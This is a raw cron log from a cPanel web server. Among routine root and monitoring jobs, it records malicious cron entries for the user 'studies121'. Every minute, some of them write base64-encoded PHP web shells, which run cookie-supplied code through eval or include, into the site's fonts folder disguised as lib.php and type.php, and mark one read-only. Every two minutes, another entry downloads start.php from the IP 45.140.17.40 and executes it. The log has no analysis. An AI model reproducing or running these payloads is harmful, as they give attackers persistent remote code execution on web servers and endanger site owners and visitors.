Sep  2 14:39:01 ip-184-168-122-23 CROND[32315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:39:01 ip-184-168-122-23 CROND[32316]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:39:01 ip-184-168-122-23 CROND[32320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:39:01 ip-184-168-122-23 CROND[32321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:39:01 ip-184-168-122-23 CROND[32319]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32431]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:40:01 ip-184-168-122-23 CROND[32438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:40:01 ip-184-168-122-23 CROND[32439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:40:01 ip-184-168-122-23 CROND[32440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:41:01 ip-184-168-122-23 CROND[32544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:41:01 ip-184-168-122-23 CROND[32543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:41:01 ip-184-168-122-23 CROND[32545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:41:01 ip-184-168-122-23 CROND[32546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:42:01 ip-184-168-122-23 CROND[32719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:42:01 ip-184-168-122-23 CROND[32720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:42:01 ip-184-168-122-23 CROND[32723]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:42:01 ip-184-168-122-23 CROND[32725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:42:01 ip-184-168-122-23 CROND[32722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:43:01 ip-184-168-122-23 CROND[391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:43:01 ip-184-168-122-23 CROND[395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:43:01 ip-184-168-122-23 CROND[394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:43:01 ip-184-168-122-23 CROND[393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:44:01 ip-184-168-122-23 CROND[476]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:44:01 ip-184-168-122-23 CROND[478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:44:01 ip-184-168-122-23 CROND[479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:44:01 ip-184-168-122-23 CROND[480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:44:01 ip-184-168-122-23 CROND[481]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:45:01 ip-184-168-122-23 CROND[602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:45:01 ip-184-168-122-23 CROND[603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:45:01 ip-184-168-122-23 CROND[605]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:45:01 ip-184-168-122-23 CROND[606]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:45:01 ip-184-168-122-23 CROND[607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:45:01 ip-184-168-122-23 CROND[616]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:46:01 ip-184-168-122-23 CROND[731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:46:01 ip-184-168-122-23 CROND[733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:46:01 ip-184-168-122-23 CROND[738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:46:01 ip-184-168-122-23 CROND[736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:46:01 ip-184-168-122-23 CROND[739]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 14:46:01 ip-184-168-122-23 CROND[740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:46:01 ip-184-168-122-23 CROND[737]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:47:02 ip-184-168-122-23 CROND[870]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:47:02 ip-184-168-122-23 CROND[871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:47:02 ip-184-168-122-23 CROND[873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:47:02 ip-184-168-122-23 CROND[875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:48:01 ip-184-168-122-23 CROND[1101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:48:01 ip-184-168-122-23 CROND[1100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:48:01 ip-184-168-122-23 CROND[1103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:48:01 ip-184-168-122-23 CROND[1105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:48:01 ip-184-168-122-23 CROND[1106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:49:01 ip-184-168-122-23 CROND[1281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:49:01 ip-184-168-122-23 CROND[1282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:49:01 ip-184-168-122-23 CROND[1279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:49:01 ip-184-168-122-23 CROND[1280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:50:02 ip-184-168-122-23 CROND[1416]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1417]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1415]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:50:02 ip-184-168-122-23 CROND[1399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:50:02 ip-184-168-122-23 CROND[1433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
